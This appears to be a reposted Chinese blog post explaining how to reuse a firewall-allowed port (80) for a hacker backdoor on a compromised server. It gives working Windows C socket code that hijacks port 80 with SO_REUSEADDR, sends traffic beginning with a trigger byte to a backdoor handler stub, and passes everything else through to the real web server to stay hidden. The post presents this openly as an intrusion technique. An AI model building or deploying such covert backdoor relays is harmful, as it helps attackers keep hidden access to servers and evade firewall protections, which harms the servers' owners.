(VC代码) 端口复用的思路与实现

来源:互联网 发布:淘宝做什么产品比较好 编辑:程序博客网 时间:2024/05/24 00:14
    端口复用在黑客后门程序中十分重要,当你侵入一台服务器时,这台服务器如果安装了防火墙,则使用一般的后门程序时,后门程序使用的是防火墙禁止的端口,则可以通过复用防火墙允许的端口来与后门程序进行数据交流,比如一个服务器有WEB服务,我们可以通过复用80端口.


原理图如下:



        复制端口的原理是用在服务器安装一个中间程序,在客户端发送数据给端口前劫获这个数据,判断这个是不是HACKER发来的数据,如果是把它发给后门程序,如果不是则转发给端口程序,返回信息再发给客户端.所以中间程序即是一个服务端程序(监听连接)也是一个客户端程序(发送给端口程序).要复用端口,必须使中间程序的监听SOCKET用setsockopt()函数设置.


 


代码如下:

#include <stdio.h>#include <WINSOCK2.H> //加入SOCKET的头文件与链接库#pragma comment (lib,"Ws2_32.lib")//复用端口程序包包含监听与连接两种功能的SOCKETvoid proc(LPVOID d); //工作线程int main(int argc,char *argv[]){ //初始化SOCKET参数 WSADATA wsaData; WSAStartup(MAKEWORD(2,2),&wsaData); //socket版本 SOCKADDR_IN a,b; //一个是用于外部监听的地址,一个是接收到accept时用的用于处理接收的结构 a.sin_family = AF_INET; a.sin_addr.s_addr=inet_addr(argv[1]); a.sin_port = htons(80); SOCKET c; //socket c是用于监听的SOCKET c=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bool l = TRUE; setsockopt(c,SOL_SOCKET,SO_REUSEADDR,(char *)&l,sizeof(l)); //重用端口设置 bind(c,(sockaddr*)&a,sizeof(a));//绑定 listen(c,100); //监听 while(1) {  int x;  x = sizeof(b);  SOCKET d = accept(c,(sockaddr*)&b,&x);//socket d是当接收到连接时用的socket,监听的sokcet只有一个,  //则处理接收到的socket可有多个,由连接数决定  CreateThread( //开始处理线程   NULL,0,(LPTHREAD_START_ROUTINE)proc,(LPVOID)d,0,0); } closesocket(c); return 0;}void proc(LPVOID d){ SOCKADDR_IN sa; //用于连接WEB 80 端口的SOCKET的结构(这个相当于客户端程序,向外服务端连接), //向外连接SOCKET只有一个 sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("127.0.0.1"); sa.sin_port = htons(80); SOCKET web = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); connect(web,(sockaddr*)&sa,sizeof(sa)); //用此线程程序连接web char buf[4096]; SOCKET ss = (SOCKET)d; //把传进来的处理连接的SOCKET赋给ss while(1) {  int n = recv(ss,buf,4096,0);//从外部连接d(即SS)收到数据  if(n==0) //没有数据   break;  if(n>0 && buf[0] =='y')  {   send(ss,"hello!,my hacker master!",25,0);//后门处理程序放在这  }  else  {   send(web,buf,n,0);//如果不是HACKER发来的信息,把信息发给WEB服务程序(在服务器内部,用127.0.0.1)   n=recv(web,buf,4096,0);//接收到正常服务程序返回的信息   if(n==0) //如果正常服务器程序没有返回信息,则退出    break;   else    send(ss,buf,n,0);//否则则把服务器正常信息发给客户端(相当于客户端是没有恶意行为的用户)  } } closesocket(ss);} 


1 0
原创粉丝点击